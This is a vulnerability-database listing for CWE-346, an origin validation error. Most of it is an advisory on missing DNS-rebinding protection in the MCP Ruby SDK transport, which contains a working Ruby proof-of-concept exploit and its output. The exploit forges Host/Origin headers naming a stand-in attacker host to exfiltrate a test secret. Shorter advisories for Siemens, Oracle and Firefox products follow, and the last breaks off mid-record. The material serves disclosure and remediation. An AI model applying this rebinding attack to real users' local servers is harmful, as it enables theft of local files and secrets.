Common Weakness Enumeration

CWE-346

Allowed-with-Review

Origin Validation Error

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly verify that the source of data or communication is valid.

961 vulnerabilities reference this CWE, most recent first.

GHSA-RJR6-RCGV-9M7M

Vulnerability from github – Published: 2026-07-30 14:41 – Updated: 2026-07-30 14:41
VLAI
Summary
MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection
Details

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

  • An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
  • Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
  • The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

  • extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
  • validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
  • validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
  • validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

  1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
  2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
  3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
  4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

  • Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
  • In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
  • Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:41:39Z",
    "nvd_published_at": "2026-07-29T20:17:10Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim\u0027s browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker\u0027s origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env))  (line 56)\ndef handle_post(request)\n  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only\n  return accept_error if accept_error\n\n  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only\n  return content_type_error if content_type_error\n\n  body_string = request.body.read\n  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker\u0027s server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server\u0027s tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix\ngem install rack            # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n  MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n  body = JSON.generate(body_hash)\n  env = {\n    \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n    \"HTTP_HOST\"   =\u003e host,    # attacker-controlled Host (DNS-rebind primary vector)\n    \"HTTP_ORIGIN\" =\u003e origin,  # attacker-controlled Origin (cross-origin browser vector)\n    \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n    \"CONTENT_TYPE\" =\u003e \"application/json\",\n    \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n  }\n  env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n  env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n  status, headers, resp = transport.call(env)\n  collected = +\"\"\n  if resp.respond_to?(:each)\n    resp.each { |c| collected \u003c\u003c c.to_s }\n  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body\n    sink = Object.new\n    sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n    sink.define_singleton_method(:flush) {}\n    sink.define_singleton_method(:close) {}\n    resp.call(sink)\n  end\n  [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status      : #{status}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body     : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n  params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n  host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status       : #{status2}\"\nputs \"[tools/call] response body      : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status      : #{status3}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body     : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status       : 200\n[tools/call] response body      : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory\u0027s private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem\u0027s Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.",
  "id": "GHSA-rjr6-rcgv-9m7m",
  "modified": "2026-07-30T14:41:39Z",
  "published": "2026-07-30T14:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection"
}

GHSA-RQ2G-2PRR-WW75

Vulnerability from github – Published: 2022-06-15 00:00 – Updated: 2025-11-12 09:30
VLAI
Details

A vulnerability has been identified in SICAM GridEdge Essential ARM (All versions < V2.6.6), SICAM GridEdge Essential Intel (All versions < V2.6.6), SICAM GridEdge Essential with GDS ARM (All versions < V2.6.6), SICAM GridEdge Essential with GDS Intel (All versions < V2.6.6). The affected software does not apply cross-origin resource sharing (CORS) restrictions for critical operations. In case an attacker tricks a legitimate user into accessing a special resource a malicious request could be executed.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-14T10:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SICAM GridEdge Essential ARM (All versions \u003c V2.6.6), SICAM GridEdge Essential Intel (All versions \u003c V2.6.6), SICAM GridEdge Essential with GDS ARM (All versions \u003c V2.6.6), SICAM GridEdge Essential with GDS Intel (All versions \u003c V2.6.6). The affected software does not apply cross-origin resource sharing (CORS) restrictions for critical operations. In case an attacker tricks a legitimate user into accessing a special resource a malicious request could be executed.",
  "id": "GHSA-rq2g-2prr-ww75",
  "modified": "2025-11-12T09:30:25Z",
  "published": "2022-06-15T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30228"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-631336.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-631336.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RQJW-2J4M-Q7VM

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30
VLAI
Details

Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:16Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).  Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-rqjw-2j4m-q7vm",
  "modified": "2025-01-21T21:30:55Z",
  "published": "2025-01-21T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21511"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR53-G8M7-WRVF

Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2024-10-21 15:32
VLAI
Details

An attacker could have abused XSLT error handling to associate attacker-controlled content with another origin which was displayed in the address bar. This could have been used to fool the user into submitting data intended for the spoofed origin. This vulnerability affects Thunderbird < 102.2, Thunderbird < 91.13, Firefox ESR < 91.13, Firefox ESR < 102.2, and Firefox < 104.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An attacker could have abused XSLT error handling to associate attacker-controlled content with another origin which was displayed in the address bar. This could have been used to fool the user into submitting data intended for the spoofed origin. This vulnerability affects Thunderbird \u003c 102.2, Thunderbird \u003c 91.13, Firefox ESR \u003c 91.13, Firefox ESR \u003c 102.2, and Firefox \u003c 104.",
  "id": "GHSA-rr53-g8m7-wrvf",
  "modified": "2024-10-21T15:32:25Z",
  "published": "2022-12-22T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38472"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1769155"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-33"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-34"
    },
    {
      "type": "WEB",
